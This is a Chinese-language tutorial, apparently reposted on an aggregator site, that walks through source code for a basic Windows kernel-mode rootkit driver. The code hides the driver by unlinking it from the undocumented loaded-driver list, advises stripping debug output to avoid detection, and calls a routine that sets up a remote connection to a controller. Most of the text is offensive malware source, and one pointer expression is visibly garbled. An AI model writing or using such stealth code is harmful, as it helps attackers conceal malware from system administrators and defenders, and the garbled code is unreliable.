Rootkit隱形技術(shù)方法

學(xué)人智庫(kù) 時(shí)間:2018-01-17 我要投稿
【m.clearvueentertainment.com - 學(xué)人智庫(kù)】

  一、綜述

  本文將引領(lǐng)讀者打造一個(gè)初級(jí)的內(nèi)核級(jí)Rootkit,然后為其引入兩種簡(jiǎn)單的隱形技術(shù):進(jìn)程隱形技術(shù)和文件隱形技術(shù)。同時(shí),為了讓讀者獲得rootkit編程的相關(guān)經(jīng)驗(yàn),我們順便介紹了rootkit的裝載、卸載方法,以及必不可少的測(cè)試技術(shù)。

  本文介紹的Rootkit的主要構(gòu)件是一個(gè)設(shè)備驅(qū)動(dòng)程序,所以我們首先了解一下我們的第一個(gè)rootkit。

  二、rootkit主體

  本節(jié)引入一個(gè)簡(jiǎn)單的rootkit實(shí)例,它實(shí)際上只給出了rootkit的主體框架,換句話說(shuō),就是一個(gè)設(shè)備驅(qū)動(dòng)程序。那么為什么要用設(shè)備驅(qū)動(dòng)程序作為主體呢?很明顯,因?yàn)樵谙到y(tǒng)中,設(shè)備驅(qū)動(dòng)程序和操作系統(tǒng)一樣,都是程序中的特權(quán)階級(jí)——它們運(yùn)行于Ring0,有權(quán)訪問(wèn)系統(tǒng)中的所有代碼和數(shù)據(jù)。還有一點(diǎn)需要說(shuō)明的是,因?yàn)楸纠饕康脑谟诮榻Brootkit是如何隱形的,所以并沒(méi)有實(shí)現(xiàn)后門之類的具體功能,。

  我們將以源代碼的形式說(shuō)明rootkit,對(duì)著重介紹一些重要的數(shù)據(jù)結(jié)構(gòu)和函數(shù)。下面,先給出我們用到的第一個(gè)文件,它是一個(gè)頭文件,名為Invisible.h,具體如下所示:

  //Invisible.h:我們r(jià)ootkit的頭文件

  #ifndef _INVISIBLE_H_

  #define _INVISIBLE_H_

  typedef BOOLEAN BOOL;

  typedef unsigned long DWORD;

  typedef DWORD* PDWORD;

  typedef unsigned long ULONG;

  typedef unsigned short WORD;

  typedef unsigned char BYTE;

  typedef struct _DRIVER_DATA

  {

  LIST_ENTRY listEntry;

  DWORD unknown1;

  DWORD unknown2;

  DWORD unknown3;

  DWORD unknown4;

  DWORD unknown5;

  DWORD unknown6;

  DWORD unknown7;

  UNICODE_STRING path;

  UNICODE_STRING name;

  } DRIVER_DATA;

  #endif

  我們知道,應(yīng)用軟件只要簡(jiǎn)單引用幾個(gè)文件如stdio.h和windows.h,就能囊括大量的定義。但這種做法到了驅(qū)動(dòng)程序這里就行不通了,原因大致有二條,一是驅(qū)動(dòng)程序體積一般較為緊湊,二是驅(qū)動(dòng)程序用途較為專一,用到的數(shù)據(jù)類型較少。因此,我們這里給出了一個(gè)頭文件Invisible.h,其中定義了一些供我們的rootkit之用的數(shù)據(jù)類型。

  這里定義的類型中,有一個(gè)數(shù)據(jù)類型要提一下:雙字類型,它實(shí)際上是一個(gè)無(wú)符號(hào)長(zhǎng)整型。此外,DRIVER_DATA是Windows 操作系統(tǒng)未公開(kāi)的一個(gè)數(shù)據(jù)結(jié)構(gòu),其中含有分別指向設(shè)備驅(qū)動(dòng)程序目錄中上一個(gè)和下一個(gè)設(shè)備驅(qū)動(dòng)程序的指針。而我們這里開(kāi)發(fā)的rootkit恰好就是作為設(shè)備驅(qū)動(dòng)程序來(lái)實(shí)現(xiàn),所以,只要從設(shè)備驅(qū)動(dòng)程序目錄中將我們的rootkit(即驅(qū)動(dòng)程序)所對(duì)應(yīng)的目錄項(xiàng)去掉,系統(tǒng)管理程序就看不到它了,從而實(shí)現(xiàn)了隱形。

  上面介紹了rootkit的頭文件,現(xiàn)在開(kāi)始介紹rootkit的主體部分,它實(shí)際就是一個(gè)基本的設(shè)備驅(qū)動(dòng)程序,具體代碼如下面的Invisible.c所示:

  // Invisible

  #include "ntddk.h"

  #include "Invisible.h"

  #include "fileManager.h"

  #include "configManager.h"

  // 全局變量

  ULONG majorVersion;

  ULONG minorVersion;

  //當(dāng)進(jìn)行free build時(shí),將其注釋掉,以防被檢測(cè)到

  VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )

  {

  DbgPrint("comint16: OnUnload called.");

  }

  NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING

  theRegistryPath )

  {

  DRIVER_DATA* driverData;

  //取得操作系統(tǒng)的版本

  PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

  // Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95

  // Major = 5: Windows Server 2003, Windows XP 或 Windows 2000

  // Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95

  // Minor = 1: Windows XP

  // Minor = 2: Windows Server 2003

  if ( majorVersion == 5 && minorVersion == 2 )

  {

  DbgPrint("comint16: Running on Windows 2003");

  }

  else if ( majorVersion == 5 && minorVersion == 1 )

  {

  DbgPrint("comint16: Running on Windows XP");

  }

  else if ( majorVersion == 5 && minorVersion == 0 )

  {

  DbgPrint("comint16: Running on Windows 2000");

  }

  else if ( majorVersion == 4 && minorVersion == 0 )

  {

  DbgPrint("comint16: Running on Windows NT 4.0");

  }

  else

  {

  DbgPrint("comint16: Running on unknown system");

  }

  // 隱藏該驅(qū)動(dòng)程序

  driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));

  if( driverData != NULL )

  {

  // 將本驅(qū)動(dòng)程序的相應(yīng)目錄項(xiàng)從項(xiàng)驅(qū)動(dòng)程序目錄中拆下來(lái)

  *((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;

  driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;

  }

  // 允許卸載本驅(qū)動(dòng)程序

  pDriverObject->DriverUnload = OnUnload;

  // 為本Rootkit的控制器配置連接

  if( !NT_SUCCESS( Configure() ) )

  {

  DbgPrint("comint16: Could not configure remote connection.n");

  return STATUS_UNSUCCESSFUL;

  }

  return STATUS_SUCCESS;

  }

[Rootkit隱形技術(shù)方法]